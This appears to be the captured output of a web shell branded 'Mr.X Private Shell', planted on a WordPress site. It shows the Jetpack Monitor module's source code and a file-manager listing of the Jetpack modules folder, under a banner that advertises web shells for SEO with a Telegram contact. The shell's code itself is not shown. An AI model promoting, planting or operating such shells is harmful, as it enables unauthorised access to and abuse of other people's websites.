__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
* Module Name: Monitor
* Module Description: Jetpackās downtime monitoring will continuously watch your site and alert you the moment that downtime is detected.
* Sort Order: 28
* Recommendation Order: 10
* First Introduced: 2.6
* Requires Connection: Yes
* Requires User Connection: Yes
* Auto Activate: No
* Module Tags: Recommended
* Feature: Security
* Additional Search Queries: monitor, uptime, downtime, monitoring, maintenance, maintenance mode, offline, site is down, site down, down, repair, error
*
* @package automattic/jetpack
*/
use Automattic\Jetpack\Connection\Manager as Connection_Manager;
/**
* Class Jetpack_Monitor
*/
class Jetpack_Monitor {
/**
* Name of the module.
*
* @var string Name of module.
*/
public $module = 'monitor';
/**
* Constructor.
*/
public function __construct() {
add_action( 'jetpack_modules_loaded', array( $this, 'jetpack_modules_loaded' ) );
add_action( 'jetpack_activate_module_monitor', array( $this, 'activate_module' ) );
}
/**
* Runs upon module activation.
*
* @return void
*/
public function activate_module() {
if ( ( new Connection_Manager( 'jetpack' ) )->is_user_connected() ) {
self::update_option_receive_jetpack_monitor_notification( true );
}
}
/**
* Runs on the jetpack_modules_loaded hook to enable configuation.
*
* @return void
*/
public function jetpack_modules_loaded() {
Jetpack::enable_module_configurable( $this->module );
}
/**
* Whether to receive the notifications.
*
* @param bool $value `true` to enable notifications, `false` to disable them.
*
* @return bool
*/
public function update_option_receive_jetpack_monitor_notification( $value ) {
$xml = new Jetpack_IXR_Client(
array(
'user_id' => get_current_user_id(),
)
);
$xml->query( 'jetpack.monitor.setNotifications', (bool) $value );
if ( $xml->isError() ) {
wp_die( sprintf( '%s: %s', esc_html( $xml->getErrorCode() ), esc_html( $xml->getErrorMessage() ) ) );
}
// To be used only in Jetpack_Core_Json_Api_Endpoints::get_remote_value.
update_option( 'monitor_receive_notifications', (bool) $value );
return true;
}
/**
* Checks the status of notifications for current Jetpack site user.
*
* @since 2.8
* @since 4.1.0 New parameter $die_on_error.
*
* @param bool $die_on_error Whether to issue a wp_die when an error occurs or return a WP_Error object.
*
* @return boolean|WP_Error
*/
public static function user_receives_notifications( $die_on_error = true ) {
$xml = new Jetpack_IXR_Client(
array(
'user_id' => get_current_user_id(),
)
);
$xml->query( 'jetpack.monitor.isUserInNotifications' );
if ( $xml->isError() ) {
if ( $die_on_error ) {
wp_die( sprintf( '%s: %s', esc_html( $xml->getErrorCode() ), esc_html( $xml->getErrorMessage() ) ), 400 );
} else {
return new WP_Error( $xml->getErrorCode(), $xml->getErrorMessage(), array( 'status' => 400 ) );
}
}
return $xml->getResponse();
}
/**
* Returns date of the last downtime.
*
* @since 4.0.0
* @return string date in YYYY-MM-DD HH:mm:ss format
*/
public function monitor_get_last_downtime() {
$xml = new Jetpack_IXR_Client();
$xml->query( 'jetpack.monitor.getLastDowntime' );
if ( $xml->isError() ) {
return new WP_Error( 'monitor-downtime', $xml->getErrorMessage() );
}
set_transient( 'monitor_last_downtime', $xml->getResponse(), 10 * MINUTE_IN_SECONDS );
return $xml->getResponse();
}
}
new Jetpack_Monitor();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| calypsoify | Folder | 0755 |
|
|
| carousel | Folder | 0755 |
|
|
| cloudflare-analytics | Folder | 0755 |
|
|
| comment-likes | Folder | 0755 |
|
|
| comments | Folder | 0755 |
|
|
| contact-form | Folder | 0755 |
|
|
| custom-css | Folder | 0755 |
|
|
| custom-post-types | Folder | 0755 |
|
|
| geo-location | Folder | 0755 |
|
|
| google-analytics | Folder | 0755 |
|
|
| google-fonts | Folder | 0755 |
|
|
| gravatar | Folder | 0755 |
|
|
| infinite-scroll | Folder | 0755 |
|
|
| likes | Folder | 0755 |
|
|
| markdown | Folder | 0755 |
|
|
| masterbar | Folder | 0755 |
|
|
| memberships | Folder | 0755 |
|
|
| photon-cdn | Folder | 0755 |
|
|
| plugin-search | Folder | 0755 |
|
|
| post-by-email | Folder | 0755 |
|
|
| related-posts | Folder | 0755 |
|
|
| scan | Folder | 0755 |
|
|
| seo-tools | Folder | 0755 |
|
|
| sharedaddy | Folder | 0755 |
|
|
| shortcodes | Folder | 0755 |
|
|
| simple-payments | Folder | 0755 |
|
|
| site-icon | Folder | 0755 |
|
|
| sitemaps | Folder | 0755 |
|
|
| sso | Folder | 0755 |
|
|
| stats | Folder | 0755 |
|
|
| subscriptions | Folder | 0755 |
|
|
| theme-tools | Folder | 0755 |
|
|
| tiled-gallery | Folder | 0755 |
|
|
| verification-tools | Folder | 0755 |
|
|
| videopress | Folder | 0755 |
|
|
| widget-visibility | Folder | 0755 |
|
|
| widgets | Folder | 0755 |
|
|
| woocommerce-analytics | Folder | 0755 |
|
|
| wordads | Folder | 0755 |
|
|
| wpcom-block-editor | Folder | 0755 |
|
|
| wpcom-tos | Folder | 0755 |
|
|
| action-bar.php | File | 644 B | 0644 |
|
| blaze.php | File | 419 B | 0644 |
|
| carousel.php | File | 573 B | 0644 |
|
| comment-likes.php | File | 8.03 KB | 0644 |
|
| comments.php | File | 974 B | 0644 |
|
| contact-form.php | File | 7.47 KB | 0644 |
|
| copy-post.php | File | 12.27 KB | 0644 |
|
| custom-content-types.php | File | 1.53 KB | 0644 |
|
| custom-css.php | File | 1.37 KB | 0644 |
|
| enhanced-distribution.php | File | 2.4 KB | 0644 |
|
| geo-location.php | File | 2.44 KB | 0644 |
|
| google-analytics.php | File | 501 B | 0644 |
|
| google-fonts.php | File | 533 B | 0644 |
|
| gravatar-hovercards.php | File | 11.8 KB | 0644 |
|
| infinite-scroll.php | File | 8.19 KB | 0644 |
|
| json-api.php | File | 484 B | 0644 |
|
| latex.php | File | 4.61 KB | 0644 |
|
| lazy-images.php | File | 955 B | 0644 |
|
| likes.php | File | 21.54 KB | 0644 |
|
| markdown.php | File | 1007 B | 0644 |
|
| masterbar.php | File | 1.56 KB | 0644 |
|
| module-extras.php | File | 2.93 KB | 0644 |
|
| module-headings.php | File | 46.17 KB | 0644 |
|
| module-info.php | File | 27.93 KB | 0644 |
|
| monitor.php | File | 3.51 KB | 0644 |
|
| notes.php | File | 7.46 KB | 0644 |
|
| photon-cdn.php | File | 12.17 KB | 0644 |
|
| photon.php | File | 711 B | 0644 |
|
| plugin-search.php | File | 20.06 KB | 0644 |
|
| post-by-email.php | File | 596 B | 0644 |
|
| post-list.php | File | 533 B | 0644 |
|
| protect.php | File | 694 B | 0644 |
|
| publicize.php | File | 4.24 KB | 0644 |
|
| related-posts.php | File | 2.14 KB | 0644 |
|
| search.php | File | 1.17 KB | 0644 |
|
| seo-tools.php | File | 1.52 KB | 0644 |
|
| sharedaddy.php | File | 1.6 KB | 0644 |
|
| shortcodes.php | File | 6.06 KB | 0644 |
|
| shortlinks.php | File | 4.37 KB | 0644 |
|
| sitemaps.php | File | 1.28 KB | 0644 |
|
| sso.php | File | 40.16 KB | 0644 |
|
| stats.php | File | 50.88 KB | 0644 |
|
| subscriptions.php | File | 35.02 KB | 0644 |
|
| theme-tools.php | File | 2.52 KB | 0644 |
|
| tiled-gallery.php | File | 1.05 KB | 0644 |
|
| vaultpress.php | File | 1.77 KB | 0644 |
|
| verification-tools.php | File | 830 B | 0644 |
|
| videopress.php | File | 1007 B | 0644 |
|
| waf.php | File | 297 B | 0644 |
|
| widget-visibility.php | File | 475 B | 0644 |
|
| widgets.php | File | 2.86 KB | 0644 |
|
| woocommerce-analytics.php | File | 631 B | 0644 |
|
| wordads.php | File | 586 B | 0644 |
|
| wpgroho.js | File | 1.91 KB | 0644 |
|